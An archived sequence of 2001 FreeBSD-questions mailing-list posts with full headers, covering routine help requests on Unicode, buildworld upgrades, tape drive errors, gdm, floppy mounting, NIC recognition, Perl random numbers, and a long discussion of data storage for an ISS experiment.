web13303.mail.yahoo.com (web13303.mail.yahoo.com [216.136.175.39]) by hub.freebsd.org (Postfix) with SMTP id 8109B37B405 for ; Fri, 23 Nov 2001 06:59:49 -0800 (PST) Message-ID: <20011123145948.78343.qmail@web13303.mail.yahoo.com> Received: from [193.174.9.99] by web13303.mail.yahoo.com via HTTP; Fri, 23 Nov 2001 15:59:48 CET Date: Fri, 23 Nov 2001 15:59:48 +0100 (CET) From: =?iso-8859-1?q?m=20p?= Subject: Re: Understood FreeBSD Unicode (was: emacs and greek support (was: home pc use)) To: anthony@freebie.atkielski.com Cc: questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: > > Now that you mention this, I started wondering: Does FreeBSD (or UNIX in > general) support Unicode? Hi Anthony, you have read the handbook, didn't you? Then take a look _again_ at: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/using-localization.html And as for other *NIX: Yes, they can. (Perhaps the could do it earlier, but this was, when I fall over it: HP-UX since 10.x, AIX 4.x, Irix since ?, True64 since ?, ....) Hope that helps Marc PS: Reading the handbook, the FAQ and the man-pages is _not_ considered bad style. __________________________________________________________________ Gesendet von Yahoo! Mail - http://mail.yahoo.de Ihre E-Mail noch individueller? - http://domains.yahoo.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 7:19:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.living-source.com (sgw-fr.living-source.com [212.2.36.144]) by hub.freebsd.org (Postfix) with SMTP id 3D8B937B417 for ; Fri, 23 Nov 2001 07:19:19 -0800 (PST) Received: (qmail 9142 invoked by uid 0); 23 Nov 2001 15:20:00 -0000 Received: from shaman.fr.living-source (192.168.0.25) by mail.living-source.com with SMTP; 23 Nov 2001 15:20:00 -0000 From: Adi Sieker To: freebsd-questions@FreeBSD.ORG Subject: Re: Problem with buildworld RELENG_4_4 on a RELENG_4_1_1 system Date: Fri, 23 Nov 2001 16:19:34 +0100 Organization: living source GmbH Reply-To: adi@living-source.com Message-ID: References: <468svtk2ffuh56s7nmdhtc8i3h1t793rqd@4ax.com> In-Reply-To: <468svtk2ffuh56s7nmdhtc8i3h1t793rqd@4ax.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 23 Nov 2001 11:25:16 +0100, Adi Sieker wrote: [buildworld problems snipped] Seems like I have found the problem. I found a message on this list (before I subscribed) from Kris Kennaway, that says source upgrades from 4.1 to 4.3 are known tobe broken. Looks like source upgrades from 4.1.1 to 4.4 are broken aswell Regards Adi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 7:49:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web20004.mail.yahoo.com (web20004.mail.yahoo.com [216.136.225.49]) by hub.freebsd.org (Postfix) with SMTP id 6B45437B405 for ; Fri, 23 Nov 2001 07:49:57 -0800 (PST) Message-ID: <20011123154957.80816.qmail@web20004.mail.yahoo.com> Received: from [193.123.204.66] by web20004.mail.yahoo.com via HTTP; Fri, 23 Nov 2001 15:49:57 GMT Date: Fri, 23 Nov 2001 15:49:57 +0000 (GMT) From: =?iso-8859-1?q?Gavin=20Kenny?= Subject: BootEasy and Win2000 To: questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Can I boot NTFS partitions with BootEasy? cheers Gavin __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8: 4:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 6687E37B405 for ; Fri, 23 Nov 2001 08:04:14 -0800 (PST) Received: from SAGEONE (adsl-208-191-227-40.dsl.crchtx.swbell.net [208.191.227.40]) by sage-american.com (8.9.3/8.9.3) with SMTP id KAA23692; Fri, 23 Nov 2001 10:04:11 -0600 (CST) Message-Id: <3.0.5.32.20011123100428.01010e98@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Fri, 23 Nov 2001 10:04:28 -0600 To: Gavin Kenny , questions@FreeBSD.ORG From: jacks@sage-american.com Subject: Re: BootEasy and Win2000 In-Reply-To: <20011123154957.80816.qmail@web20004.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ...yes! At 03:49 PM 11.23.2001 +0000, Gavin Kenny wrote: >Can I boot NTFS partitions with BootEasy? > >cheers > >Gavin > >__________________________________________________ >Do You Yahoo!? >Everything you'll ever need on one web page from News and Sport to Email and Music Charts >http://uk.my.yahoo.com > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8:10:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46]) by hub.freebsd.org (Postfix) with ESMTP id 4235837B405 for ; Fri, 23 Nov 2001 08:10:38 -0800 (PST) Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4]) by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fANG7jJ99918; Fri, 23 Nov 2001 11:07:46 -0500 (EST) (envelope-from marcus@marcuscom.com) Subject: Re: Maximizing throughput From: Joe Clarke To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340BE6@apmail.dagupan.com> References: <10F29E27A956D511B0940050DA8D86A9340BE6@apmail.dagupan.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/0.99.2 (Preview Release) Date: 23 Nov 2001 21:10:49 +0500 Message-Id: <1006531850.39074.0.camel@shumai.marcuscom.com> Mime-Version: 1.0 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 2001-11-22 at 04:02, francisv@dagupan.com wrote: > Hi, > > I have an Intel Pro 100/S NIC on FreeBSD 4.4-STABLE -- transferring huge > (~650MB) files to another computer is only around 1.78Mbps. The machines are > connected via a Cisco 3500XL switch at full-duplex, 100Mbps. Is there any > other way to increase the throughput or is this the actual bandwidth limit? > What -STABLE is this? There was a recent patch to tcp_input.c in -STABLE that fixes a problem with TCP performance with regard to applications like FTP. It was committed 11/12. Also, since you're using a XL switch, you should hard code duplex and speed on the switch and the FreeBSD box. If you don't do this, you'll most likely encounter a duplex problem on the switch end. This can be seen by looking at the error counters of a show int fa0/x on the 3500. Joe > --- > francis a. vidal [bitstop network services] | http://www.dagupan.com > streaming media + web hosting | http://www.keystone.ph > v(02)330-2871,(02)330-2872; f(02)330-2873 | http://www.kuro.ph > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8:19:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46]) by hub.freebsd.org (Postfix) with ESMTP id 5C26537B405 for ; Fri, 23 Nov 2001 08:19:11 -0800 (PST) Received: from shumai.marcuscom.com (shumai.marcuscom.com [192.168.1.4]) by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fANGGKJ99954; Fri, 23 Nov 2001 11:16:21 -0500 (EST) (envelope-from marcus@marcuscom.com) Subject: Re: gdm question From: Joe Clarke To: Chip Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <01112221595701.76143@chip.wiegand.org> References: <01112221595701.76143@chip.wiegand.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/0.99.2 (Preview Release) Date: 23 Nov 2001 21:19:25 +0500 Message-Id: <1006532365.39074.2.camel@shumai.marcuscom.com> Mime-Version: 1.0 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG You need a certain version of gdm for things to work. gdm-2.2.4.2_1 is the only version that works with FreeBSD. It would also be a good idea to update all of your gnome components as well. This will require a current version of the ports tree. Joe On Fri, 2001-11-23 at 00:59, Chip wrote: > I just installed gdm from the ports, got it so it will load up on boot up, > but it only displays an empty X screen and the plain x mouse cursor. I cannot > find a web site for gdm or instructions on how to actually tell it what > window managers to list. At least that is what I think it is supposed to do > isn't it? I want a display to list the several wm's installed and allow the > user to pick the wm he wants to use. This is for a new user so I set up > several wm's so he can learn more about them and fbsd. > > -- > Chip W. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8:19:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from installer.armourplate.com (ms.armourplate.com [195.153.247.110]) by hub.freebsd.org (Postfix) with SMTP id 23A3937B405 for ; Fri, 23 Nov 2001 08:19:22 -0800 (PST) Received: (qmail 34807 invoked by uid 1010); 23 Nov 2001 16:19:11 -0000 by ms2.armourplate.com with SMTP; 23 Nov 2001 16:19:11 -0000 X-Info: Scanned for viruses by armourplate.com From: "Jonathan Defries" To: "Freebsd-Questions@Freebsd. Org" Subject: Problems with DAT drive Date: Fri, 23 Nov 2001 16:19:19 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all, I'm having problems getting a DAT drive to work on my server. Errors are: (sa0:ahc0:0:4:0): WRITE(06). CDB: a 0 0 28 0 0 (sa0:ahc0:0:4:0): MEDIUM ERROR info:19000 asc:c,0 (sa0:ahc0:0:4:0): Write error (sa0:ahc0:0:4:0): SCB 0xd - timed out while idle, LASTPHASE == 0x1, SEQADDR == 0x9 (sa0:ahc0:0:4:0): Queuing a BDR SCB (sa0:ahc0:0:4:0): Bus Device Reset Message Sent (sa0:ahc0:0:4:0): no longer in timeout, status = 34b I'm running 3.5-STABLE, dmesg shows the DAT drive as: sa0 at ahc0 bus 0 target 4 lun 0 sa0: Removable Sequential Access SCSI-2 device sa0: 10.000MB/s transfers (10.000MHz, offset 15) Adaptec device is: ahc0: rev 0x00 int a irq 10 on pci0.9.0 ahc0: aic7880 Single Channel A, SCSI Id=7, 16/255 SCBs Any help would be much appreciated. I've tried cleaning the drive, a new DAT tape, but no joy. TIA, Jonathan -- Jonathan Defries Corpex Limited * email virus protection * Server Co-Location UK, France and Germany * Web Site Hosting * Domain Name Services http://www.corpex.com T +44 (0)207 430 8000 F +44(0)207 430 8099 This email has been checked for viruses by ArmourPlate, the multi-scanner anti-virus service, http://www.armourplate.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8:23:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail18.sdc1.sfba.home.com (femail18.sdc1.sfba.home.com [24.0.95.145]) by hub.freebsd.org (Postfix) with ESMTP id 138FE37B416 for ; Fri, 23 Nov 2001 08:23:31 -0800 (PST) Received: from cr1034264a ([24.103.169.134]) by femail18.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011123162330.RKZP1435.femail18.sdc1.sfba.home.com@cr1034264a> for ; Fri, 23 Nov 2001 08:23:30 -0800 Message-ID: <000c01c17455$e1026fc0$0100a8c0@cr1034264a> Reply-To: "P K" From: "P K" To: "freebsd-questions" Subject: router vs freebsd firewall Date: Fri, 23 Nov 2001 11:34:33 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0009_01C17412.D2712BB0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C17412.D2712BB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all I have a questions about cisco router vs freebsd firewall ISP will install cisco router to our office for internet access Do I need the firewall also in freebsd? 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------=_NextPart_000_0009_01C17412.D2712BB0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8:33:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ws1-3.us4.outblaze.com (205-158-62-55.outblaze.com [205.158.62.55]) by hub.freebsd.org (Postfix) with SMTP id 51A4337B405 for ; Fri, 23 Nov 2001 08:33:45 -0800 (PST) Received: (qmail 15534 invoked by uid 1001); 23 Nov 2001 16:33:45 -0000 Message-ID: <20011123163345.15533.qmail@mail.com> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from ws1-3.us4.outblaze.com for [192.168.0.251, 64.110.183.243] via web-mailer on Sat, 24 Nov 2001 00:33:45 +0800 From: kassle@moscowmail.com To: freebsd-questions@FreeBSD.ORG Date: Sat, 24 Nov 2001 00:33:45 +0800 Subject: Mounting Floppy Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG How to mount floppy disk without become root ? -- _______________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup 1 cent a minute calls anywhere in the U.S.! http://www.getpennytalk.com/cgi-bin/adforward.cgi?p_key=RG9853KJ&url=http://www.getpennytalk.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8:44:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lv.raad.tartu.ee (lv.raad.tartu.ee [194.126.106.110]) by hub.freebsd.org (Postfix) with ESMTP id E236637B416 for ; Fri, 23 Nov 2001 08:44:32 -0800 (PST) Received: Message by Barricade lv.raad.tartu.ee with ESMTP id fANGiND18712; Fri, 23 Nov 2001 18:44:23 +0200 Message-Id: <200111231644.fANGiND18712@lv.raad.tartu.ee> Received: from SpoolDir by INFO (Mercury 1.48); 23 Nov 01 18:43:52 +0200 From: "Toomas Aas" Organization: Tartu City Government To: "Jonathan Defries" , questions@freebsd.org Date: Fri, 23 Nov 2001 18:43:48 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Problems with DAT drive In-reply-to: X-info: Headers changed by Barricade Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Jonathan! On 23 Nov 01 at 16:19 you wrote: > I'm having problems getting a DAT drive to work on my server. > > Errors are: > > (sa0:ahc0:0:4:0): WRITE(06). CDB: a 0 0 28 0 0 > (sa0:ahc0:0:4:0): MEDIUM ERROR info:19000 asc:c,0 > (sa0:ahc0:0:4:0): Write error > Any help would be much appreciated. I've tried cleaning the drive, a new DAT > tape, but no joy. Is this a new drive? MEDIUM ERROR seems to indicate that there are problems in the physical process of writing data to tape. If using another tape did not help then maybe the drive is just dying of old age. Lasting a long time is not one of the strong sides of DAT drives. Another thing to check out is the SCSI chain. Is it properly terminated, are all the connectors firmly seated etc. -- Toomas Aas | toomas.aas@raad.tartu.ee | http://www.raad.tartu.ee/~toomas/ * I'd rather have a bottle in front of me than a frontal lobotomy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8:48:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from marlo.eagle.ca (marlo.eagle.ca [209.167.16.10]) by hub.freebsd.org (Postfix) with ESMTP id C8F9B37B419 for ; Fri, 23 Nov 2001 08:48:20 -0800 (PST) Received: from BobLablaw (staff.eagle.ca [209.167.16.15]) by marlo.eagle.ca (8.11.3/8.11.3) with SMTP id fANGkxM76335; Fri, 23 Nov 2001 11:46:59 -0500 (EST) (envelope-from freymann@scaryg.shacknet.nu) Message-ID: <032f01c1743e$b82659c0$7301a8c0@eagle.ca> From: "ScaryG" To: Cc: References: <20011123163345.15533.qmail@mail.com> Subject: Re: Mounting Floppy Date: Fri, 23 Nov 2001 11:48:43 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > How to mount floppy disk without become root ? Check this out: http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/admin.html#USER-FLOPPYM OUNT -gf To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 8:58:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mpehp1.mpe-garching.mpg.de (mpehp1.mpe-garching.mpg.de [130.183.70.10]) by hub.freebsd.org (Postfix) with ESMTP id 2624037B405 for ; Fri, 23 Nov 2001 08:58:48 -0800 (PST) Received: from robert2.mpe-garching.mpg.de (robert2.mpe-garching.mpg.de [130.183.136.59]) by mpehp1.mpe-garching.mpg.de (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id RAA13988; Fri, 23 Nov 2001 17:58:46 +0100 (MET) Received: (from sutter@localhost) by robert2.mpe-garching.mpg.de (8.11.6/8.11.6) id fANGxCC11901; Fri, 23 Nov 2001 17:59:12 +0100 (CET) (envelope-from sutter) Date: Fri, 23 Nov 2001 17:59:12 +0100 From: Robert Suetterlin To: Ted Mittelstaedt Cc: freebsd-questions@freebsd.org Subject: Re: why are You asking here Message-ID: <20011123175912.B1170@robert2.mpe-garching.mpg.de> References: <20011123112138.A6496@robert2.mpe-garching.mpg.de> <008401c17410$83770a40$1401a8c0@tedm.placo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <008401c17410$83770a40$1401a8c0@tedm.placo.com>; from tedm@toybox.placo.com on Fri, Nov 23, 2001 at 03:18:01AM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi > Hi Robert I hope you don't mind me cc'ing the list. ok, perhaps someone likes to read it. > Well, asking FreeBSD to solve a problem that Sun can't solve is a bit > surprising, > you must have a lot of faith in us. Yes I do. And then there is net- and openbsd, I just referred to FreeBSD because this is my flavor. > Um - there ARE Sparc laptops so I think they have dealt with this already. Well. Yes. There are, and one (ten year old) model is just now flying in our current space experiment. > But in any case, I'll make a few points here: > > 1) The power consumption and all that, while it's important, is not > something that FreeBSD can solve for you. This is purely a hardware > issue. Now, if you have some hardware already in mind that you think > can do it and your just looking for an OS to run it - well that's > something else, tell us what it is. If not - well I think your first > stop is the hardware mailing lists. Yes. No. Perhaps. Good idea that You mentioned the hardware page... Still the hardwarepage is not the first stop if the application that solves my problem is bound to a specific operating system, which then turns out to be bound to some specific hardware. > 2) While you outlined the problem your looking at: [cut] > what struck me is that your not saying anything about weight limits. Make it as light as possible... and BTW, I gave the volume limit. > Well I'm not an expert here but it seems to me that it must cost hundreds, > perhaps thousands of dollars per pound to lift anything into orbit. millions. > That would seem to indicate that with the size of data storage your talking > about, that your primary concern should be getting the densest storage medium > possible, as even the most expensive and densest storage medium available today > no matter how expensive it is, is going to pale in cost to the money needed to lift > it up to the ISS. You must not forget the total project cost, of course, and that there is a complicated budget which allows for different costs in seperate areas. So for example we cannot spend all of our hardware money on the storage, but must also spend some on the experiment itself. And we cannot spend all the transportation budget on launching a onetime solution, we must also plan for transporting defect parts, spare parts and data! The main problem with the ISS is, that there is no Broadband Connection to get the data back to ground. So we must store the data in a form that can be easily transportet. > I am not at all convinced that tape storage is any kind of answer for > you. Besides the fragility of the medium, there's the fragility of the > recording mechanism itself. All tape drives, being mechanical things, > will wear and drift out of alignment. I simply cannot imagine any kind > of data tape drive manufactured today lasting for 5-10 years with any > reasonable amount of use, [...] 1) Well why tape storage? Did I indicate tapes in my mail? Sorry for beeing so specific, I do not want to specify 'tapes' already. 2) Our datacenter is using tapes for data storage and so far (under very heavy use over a very long time) everything is still working. Of course we must plan for wear of the machinery. And we must have a solution that can be serviced by astronauts / kosmonauts easily. > [...] and a considerable amount of weight and space > will be consumed by the cartrige, mechanism, etc. [...] We have a second locker that can hold full / spare media, that is the same size as the data recording facility. > [...] Wouldn't you really > be needing to look at something completely solid state here? I mean, > there's flash cards that sell on the street that will hold a gigabyte, > surely someone could custom-build something for you that would hold a > lot more than this. 1) Flash cards are much slower than tape storage. Static Memory is really expensive. I cannot see any multi-Terrabyte Solid State Storage on the common market today. 2) Before we can use a storage system on the ISS we must test it on the ground for some time. I would like to use a more toolbox like design, that allows to change separate parts of the hardware and the software gradually while newer versions appear on the market. Still, how the system works in general is not allowed to change too much over time, as this will prevent solid testing. The Budgeting for (space)experiments also encourages evolutionary change in experiment setup and supply, because You get some part of Your budget every year and not all at once in the beginning. > 3) What exactly is a HSM going to do for you? HSM is useful if You have a hirarchy of storage with different qualities. So it will help in any application where You apply several storage solutions that have differnt qualities --- i.e. density, price, robustness, mobility, bandwidth, etc. --- to specific problems. Like Ram, Flash Memory, Static Memory, Harddrives, Tapes, DVDs, what do I know. Our experiment should run 24/7 if it would be possible. But at the least it should be possible to run it continously for 45 Minutes at peak data rates. The total experiment time is estimated to at least 3 hours per week. This means aprox. 150TB of data per year. If there is a shuttle mission each month, they will have to transport 10TB of data each time. Speaking in GByte Flashcards that is $5.000.000 in Flashmemory every two months. Ok we could recycle some of that memory... And Flashmemory will also get severe problems with hard radiation. Redundancy will increase price by aprox. 30%. So we talk about $6.5M If we will get larger data volumes in the future (because experimentalists always want higher data rates and longer experiment time) then prices will scale accordingly. Speaking of a Solid State Solution. First I cannot guess easily the price of 10TB Static Ram. Second, if You compare the size of a Ram Chip to a 100GByte Tape, I would say overall datadensity is similar. Of course You can get Memory much denser if You remove Packaging but not by an order of magnitude. Of course using a solid state storage to store for example 45 minutes of data could be very reasonable. Harddrives are a problem, because they disturb microgravity. As will all rotating objects, because of the enormous torque they can generate. So what can an HSM do for us? I guess it depends on the capabilities of the HSM. I believe, that our system will need a hirarchy of storage systems, specialised in specific tasks. I also would like to use the same general technique today that we will launch in five years (and then use for up to ten more). So I would like to use standard hardware and software solutions. These will most likely adept to the future automatically. An HSM would be an important building block in my concept of a solution to the data storage problem, as it relieves me of all the problems connected with hirarchical storage management. This does of course not prove that I need HSM at all. I might have a complete misconception of how to handle this amount of data at all. Sincerely, Robert. -- Robert Suetterlin (robert@mpe.mpg.de) phone: (+49)89 / 30000-3546 fax: (+49)89 / 30000-3950 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 9:35:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (oe41.pav2.hotmail.com [64.4.36.98]) by hub.freebsd.org (Postfix) with ESMTP id 877E937B405 for ; Fri, 23 Nov 2001 09:35:32 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 23 Nov 2001 09:35:32 -0800 X-Originating-IP: [212.58.59.34] From: "Lance Keay" To: "Andre` Niel Cameron" , "free bsd" , Cc: References: <034601c173cb$8edfee00$a50410ac@olmct.net> Subject: Re: Quick question Date: Fri, 23 Nov 2001 17:35:28 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Message-ID: X-OriginalArrivalTime: 23 Nov 2001 17:35:32.0370 (UTC) FILETIME=[4050FF20:01C17445] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG this will give you a random number of 0 or 1. Just substitue the 1 for the number range you want. Note: I have found that the lowest and highest numbers do not appear to have the same randomness weighting as the middle range, probably due to the sprintf rounding, so add two to the range you want and disregard the lowest and highest returned. #!usr/bin/perl srand; for($x=0; $x<20; $x++) { $holdRand=sprintf("%.0f", rand(1)); print"\n$holdRand"; } ----- Original Message ----- From: "Andre` Niel Cameron" To: "free bsd" ; Cc: Sent: Friday, November 23, 2001 3:04 AM Subject: Quick question > Hi, > > Anyone know how to get a whole random number in perl? > > rand(18) always gives decimals I need just like 12 or 7 anyone know? > > Regards, > Andre` C. > Technical Support > Ô¿Ô¬ > -------------------------------------------------------------------------- -- > - > Visit our support manual at http://supportmanual.com/ > > > -- > To unsubscribe, e-mail: beginners-cgi-unsubscribe@perl.org > For additional commands, e-mail: beginners-cgi-help@perl.org > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:16:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lh09.opsion.fr (lh09.opsion.fr [212.73.208.235]) by hub.freebsd.org (Postfix) with SMTP id E921537B405 for ; Fri, 23 Nov 2001 10:16:34 -0800 (PST) Received: from 195.132.235.244 [195.132.235.244] by lh09.opsion.fr; Fri, 23 Nov 2001 18:16:24 GMT Message-ID: <000201c1744a$927c34e0$0c02a8c0@jupiter> From: "Hexo" To: Subject: Network Card Installation Problem - DEC Etherworks Date: Fri, 23 Nov 2001 19:11:09 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00EB_01C17452.9C1EF7A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_00EB_01C17452.9C1EF7A0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Hi all, Why my network card, a Digital Etherworks 3/TURBO (ISA) (10 mps), does = not seem to be recognized by FreeBSD 4.2, althought my second NIC a = winbond based card does. I have seen Etherworks network card should be = recognized by FreeBSD.( http://www.freebsd.org/releases/4.2R/notes.html = , DEC EtherWORKS III NICs (DE203, DE204, and DE205)). My card works = perfectly under Windows98 and should works also with FreeBSD... Why it is not recognized automatically ? Is there any solution to = install it (I need two for firewall)? Many thanks in advance, Nicolas mailto:hexomedine@ifrance.com ------=_NextPart_000_00EB_01C17452.9C1EF7A0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Hi all,
